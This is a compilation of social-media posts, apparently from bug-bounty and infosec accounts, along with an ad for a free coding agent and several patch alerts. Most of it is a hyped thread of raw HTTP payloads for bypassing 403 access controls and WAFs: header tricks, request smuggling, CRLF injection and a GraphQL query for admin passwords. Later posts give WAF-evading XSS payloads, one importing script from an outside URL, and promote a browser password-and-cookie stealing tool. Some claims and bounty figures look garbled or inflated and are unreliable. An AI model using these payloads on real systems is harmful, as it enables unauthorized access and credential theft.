Deja de pagar por Claude Code y Codex.
Acaban de lanzar un coding agent 100% gratuito.
Puedes usar cualquier modelo gratis:
• DeepSeek v4 Pro/Flash
• Kimi K2.6
• MiniMax M2.7
Instalación:
→ npm i -g freebuff
Puede escribir código, ejecutar comandos y construir proyectos enteros por ti.
El único catch: tiene unos pocos anuncios
(como los que se ven abajo en el vídeo)
🚨 Urgent Windows Security Update
Hey everyone, just a heads-up to check your Windows Updates today! Microsoft just patched a really serious flaw (CVE-2026-41096) that could let hackers take over a computer through a fake Wi-Fi or network connection.
It’s a "9.8 out of 10" on the danger scale, so don't click "remind me later" on this one.
New Video on "How to install Git on Windows 11" is out now 🔥
https://t.co/WIYiVTB4GV
Make sure you're subscribe to channel for more videos.
#Git#InstallGit#Windows11
🧠💥 99% of hackers QUIT when they see a 403…
But the 1%? They try this: 👇
I found a 403 Forbidden on /admin.
But then I tried:
•POST /admin
•X-Original-URL: /admin
•/admin..;/
•%2e/admin
•X-Rewrite-URL: /admin
•/ADMIN (yes, just caps)
•/;/admin
•/..;/admin
👇👇👇
⸻
🔥 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps)
Target running HTTP/2 or gRPC? Force downgrade:
PRI * HTTP/2.0
SM
GET /admin HTTP/1.1
🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1.
⸻
🧬 2. Content-Length Collapsing (https://t.co/3qXplOXgpV) on HTTP Pipelining
Send pipelined requests where only 1st is parsed by WAF:
POST /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
Content-Length: 13
GET /admin
💥 WAF reads POST → blocks.
Backend reads 2nd GET /admin → 200 OK.
This is invisible to most WAFs.
⸻
🚪 3. Misconfigured Reverse Proxy Chain Escape
Proxy chain: Cloudflare → NGINX → Apache
Try:
GET /admin
X-Accel-Redirect: /admin
X-Forwarded-Path: /admin
Apache follows X-Accel-Redirect, bypasses upstream auth check.
💣 Real-world: Gained internal panel behind Cloudflare.
⸻
🔄 4. CRLF into Rewrite Bypass
Some edge WAFs parse until CRLF \r\n, others don’t.
Exploit it:
GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin
WAF reads URL → clean
Backend sees X-Rewrite-URL: /admin → executes
⸻
🔃 5. Multipart Boundary Injection Bypass (💀)
Used when /admin is only allowed for file uploads:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----1337
------1337
Content-Disposition: form-data; name="file"; filename="/admin"
Content-Type: text/plain
BOOM
------1337--
💣 If upload endpoint allows arbitrary path write → full override.
⸻
📡 6. Misrouted Mesh Bypass via Service Discovery
Kubernetes, Linkerd, Istio-style microservices expose internal routes:
Send:
Host: admin.internal.svc.cluster.local
X-Service-Router: admin
If service-mesh is misconfigured, you route directly to internal /admin even if public 403s.
⸻
⚠️ 7. GraphQL-Injected 403 Bypass
If app has GraphQL and 403-protected admin, try:
query {
admin {
users {
password
}
}
}
GraphQL often proxies internal microservice calls.
Even if /admin is blocked via HTTP, the GQL layer may leak internal paths.
⸻
🧠 8. Preconnect Overload → Bypass
Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive.
After 30–50 requests:
•WAF disables parsing
•Keep-alive tunnel reused for real GET /admin
🧨 Real bypass via persistent connection channeling
⸻
💻 9. Browser-Only Token Auth Bypass (via Headless Browser)
Some SPAs load tokens via JS → protect /admin based on localStorage.
WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass.
🔥 Use puppeteer + exportAuth → replay:
curl -H "Authorization: Bearer <extracted_token>" https://t.co/KeR304da2D
⸻
🧪 10. Distributed Retry Amplification
When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject:
Retry-After: 0
X-Retry-URL: /admin
WAF retries → skips deny logic → backend hits /admin.
This is logic poisoning — not brute force.
⸻
🚨 These Aren’t Payloads. They’re Logic Chains.
Most tools stop at:
/admin%2e
X-Forwarded-For: 127.0.0.1
You’re playing 4D chess now:
✅ Protocol confusion
✅ Reverse proxy reroute
✅ GraphQL indirect call
✅ SSRF via retry
✅ Downgrade injection
✅ WAF desyncing
⸻
💰 These got real bounties:
•$25,000 from a Cloudflare-protected admin
•$12,500 via SSRF + Retry Poison
•$8,000 using pipelined https://t.co/3qXplOXgpV request
⸻
Want a toolkit that automates:
This is next-level exploitation.
Use it right. 🧠💣
🛠 TOOLS to automate bypass:
•🔧 https://t.co/5yIqLjkvaS
•🔧 https://t.co/bbVde9Caoh
•🔧 https://t.co/W05Ly8nEB6
•🔧 https://t.co/Av6mKRCef2
•🔧 https://t.co/kndjPIOEix
As promised, today we released DumpBrowserSecrets a tool which extracts passwords, tokens, cookies and other data from several browsers.
https://t.co/EaswGdihdU
🚨 CVE-2026-21858 (NI8MARE): Critical unauthenticated RCE in n8n (CVSS 10.0)
Attackers can execute system commands without authentication. PoC is public
📊 Censys observes 26,512 exposed n8n hosts.
✅ Patch: upgrade to 1.121.0+
🔒 Restrict or take offline if internet-facing
🔗Track exposures →https://t.co/afJt2qcqrl
#infosec #CVE #n8n #RCE
WAF Bypass Discovered - Akamai & Cloudflare : 🙌🏻
A fresh technique has been spotted that successfully bypasses WAFs like Akamai and Cloudflare.
#infosec#cybersec#bugbountytips
Cloudflare protects the front door, but what about the side entrance?
CloudRip finds real server IPs through subdomain scanning:
https://t.co/cRzA62znUY
@three_cube
If you're still using gau or waybackurls, give waymore a try because it will honestly find you waymore endpoints!
It can also download archived responses &you can run xnLinkFinder over the response directory to find even more endpoints, potential params, wordlist + oos domains 🤘
Bug Bounty Tool:
"Waymore" does deep URL harvesting from Wayback, Common Crawl, OTX, etc.
The idea behind it is to find even more links from the Wayback Machine than other tools like waybackurl.
https://t.co/h8PnyUYEkH
I found XSS on a health site,
payload: ">>>>>><marquee>RXSS</marquee></head><abc></script><script>alert(origin)</script><meta
#BugBounty#xss#infosec#wafbypass#CyberSecurity@NullSecurityX
Cloudflare XSS Bypass - PoC (critical) - live walkthrough. See how crafted payloads can slip past WAF protections, how the exploit is reproduced, and what defenders must patch immediately.
Watch: https://t.co/Yva8QUuKxd
#Cloudflare#XSS#WAFBypass#BugBounty
🚨 Grafana fixed a major security bug (CVSS 10.0) that could let attackers sign in as admin users.
It affects Grafana Enterprise 12.0.0–12.2.1 if SCIM provisioning is turned on — a number like “1” could trick the system into giving admin access.
Update now to stay safe. Read more ↓ https://t.co/bO1Z16cAGn
Another #XSS Payload to Rule Them All!
#Bypass Imperva, Akamai and CloudFlare WAF
=> Prepend with 50 chars then use
1"><A HRef=%26quot AutoFocus OnFocus%0C={import(/https:https://t.co/Ng2aOLONda)}>
PoC: https://t.co/k2GsBxMmG5
#hack2learn@KN0X55